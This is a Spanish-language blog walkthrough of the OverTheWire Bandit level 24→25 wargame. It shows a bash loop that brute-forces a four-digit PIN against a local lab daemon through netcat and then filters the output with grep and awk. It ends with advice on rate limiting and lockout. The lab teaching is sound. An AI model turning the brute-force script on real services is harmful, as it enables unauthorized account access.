Entrada

Bandit: nivel 24 → 25

Cómo resolver el nivel 24 → 25 de OverTheWire Bandit haciendo fuerza bruta a un PIN de 4 dígitos con un script de bash y netcat, y filtrando la respuesta con grep y awk.

Bandit: nivel 24 → 25

Primer nivel de fuerza bruta. Hay un servicio que pide la contraseña de bandit24 (que ya tenemos) más un PIN secreto de 4 dígitos que no tenemos. Como solo hay 10000 PINs posibles, en vez de adivinarlo los probamos todos de golpe con un script. Es tu primer bucle de ataque, y el concepto (automatizar lo que a mano sería inviable) es el corazón de medio pentesting.

Las contraseñas de los niveles aparecen como [REDACTED]. Siguiendo las normas de OverTheWire, no publico credenciales: la gracia es que llegues a ellas tú.

Conexión

1
2
$ sshpass -p '[REDACTED]' ssh bandit24@bandit.labs.overthewire.org -p 2220
bandit24@bandit:~$ export TERM=xterm

El enunciado

El enunciado del nivel dice que hay un daemon escuchando en el puerto 30002 de localhost. Para darte la contraseña de bandit25 necesita que le mandes, en una sola línea separadas por un espacio, la contraseña de bandit24 y un PIN secreto de 4 dígitos. No hay forma de deducir el PIN: hay que probar.

Primer acercamiento: hablar con el servicio a mano

Antes de automatizar nada, conviene ver qué responde el servicio:

1
2
3
4
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
[REDACTED] 0000
Wrong! Please enter the correct current password and pincode. Try again.

Le mando la contraseña de bandit24 y un PIN de prueba (0000) y me responde Wrong!. Perfecto: ya sé el formato que espera (contraseña PIN) y qué contesta cuando fallo. Con eso puedo construir el ataque: generar las 10000 líneas posibles y mandárselas todas.

Fíjate en que el servicio no cierra la conexión tras un fallo: sigue pidiendo. Eso es lo que nos permite mandarle los 10000 intentos seguidos por la misma conexión en lugar de reconectar cada vez.

El script de fuerza bruta

Creo un directorio de trabajo con mktemp -d (buena costumbre, como en el nivel anterior) y dentro monto el script:

1
2
3
4
5
6
7
#!/usr/bin/env bash

for pin in {0000..9999}; do
    echo "$(cat /etc/bandit_pass/bandit24) ${pin}" >> probando.txt
done

nc localhost 30002 < probando.txt > resultados.txt

Qué hace, por partes:

  • for pin in {0000..9999}: expansión de llaves que genera todos los números de 0000 a 9999. El truco está en escribir 0000 (con los ceros): bash mantiene el relleno de ceros y genera 0000, 0001, …, 9999, todos con 4 dígitos, que es justo el formato de PIN que pide el servicio.
  • echo "$(cat /etc/bandit_pass/bandit24) ${pin}" >> probando.txt: por cada PIN, escribe una línea con la contraseña de bandit24, un espacio y el PIN, y la va añadiendo (>>) al fichero probando.txt. Al acabar el bucle, ese fichero tiene las 10000 combinaciones.
  • nc localhost 30002 < probando.txt > resultados.txt: conecta al daemon y le vuelca todo el fichero por la entrada estándar. El servicio va leyendo línea a línea, probando cada combinación, y toda su respuesta se guarda en resultados.txt.

Uso $(cat /etc/bandit_pass/bandit24) en lugar de escribir la contraseña a pelo. Es más limpio (no dejas la contraseña escrita en el script) y evita erratas. Tú puedes leer ese fichero porque eres bandit24.

Lo ejecuto y compruebo que me ha creado los ficheros. Un vistazo rápido al tamaño de la respuesta:

1
2
bandit24@bandit:/tmp/tmp.XXXX$ bash script.sh
bandit24@bandit:/tmp/tmp.XXXX$ wc -l resultados.txt

Filtrar la respuesta

resultados.txt está lleno de líneas Wrong!, una por cada PIN fallido, más la buena perdida entre ellas. Para encontrarla, filtro quitando las líneas de error con grep -v (el -v invierte: muestra lo que no coincide):

1
2
3
4
bandit24@bandit:/tmp/tmp.XXXX$ cat resultados.txt | grep -v "Wrong!"
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is [REDACTED]

Ahí está. Con eso ya tienes la contraseña, pero como la idea es coger soltura, vamos a afinar el filtro para que escupa solo la contraseña:

1
2
bandit24@bandit:/tmp/tmp.XXXX$ cat resultados.txt | grep -v "Wrong!" | tail -n 2 | head -n 1 | awk '{print $NF}'
[REDACTED]

Desmontando la tubería:

TrozoQué hace
grep -v "Wrong!"Quita todas las líneas de fallo
tail -n 2Se queda con las 2 últimas líneas
head -n 1De esas 2, la primera (la del The password... is ...)
awk '{print $NF}'Imprime el último campo de la línea: $NF = number of fields, o sea, la última palabra

El resultado es la contraseña pelada, lista para copiar. Encadenar filtros así (grep → tail/head → awk) es un patrón que vas a repetir mil veces para extraer justo el dato que quieres de una salida larga.

Por qué esto importa en seguridad

Esto es fuerza bruta en su forma más pura: el espacio de PINs es diminuto (10⁴ = 10000) y el servicio no limita los intentos ni mete retardos. Las dos cosas son el fallo. En un sistema bien hecho verías:

  • PINs/contraseñas más largos (el espacio de búsqueda crece exponencialmente y la fuerza bruta deja de ser viable).
  • Rate limiting: bloqueo o retardo tras X intentos fallidos.
  • Bloqueo de cuenta o captchas.

La herramienta “de verdad” para esto es hydra, que automatiza la fuerza bruta contra multitud de servicios (SSH, HTTP, FTP…). Aquí lo hacemos a mano con bash para entender el mecanismo, pero el concepto es idéntico.

Un PIN de 4 dígitos sin límite de intentos se rompe en segundos. Es el recordatorio de por qué la longitud y el rate limiting importan tanto en el mundo real.

Pasar al nivel siguiente

1
2
bandit24@bandit:/tmp/tmp.XXXX$ exit
$ sshpass -p '[REDACTED]' ssh bandit25@bandit.labs.overthewire.org -p 2220

Resumen

Comando / conceptoPara qué sirve
{0000..9999}Expansión de llaves con relleno de ceros: genera 0000-9999
>>Añadir al final de un fichero (sin sobreescribir)
`nc localhost 30002 
Esta entrada está licenciada bajo CC BY 4.0 por el autor.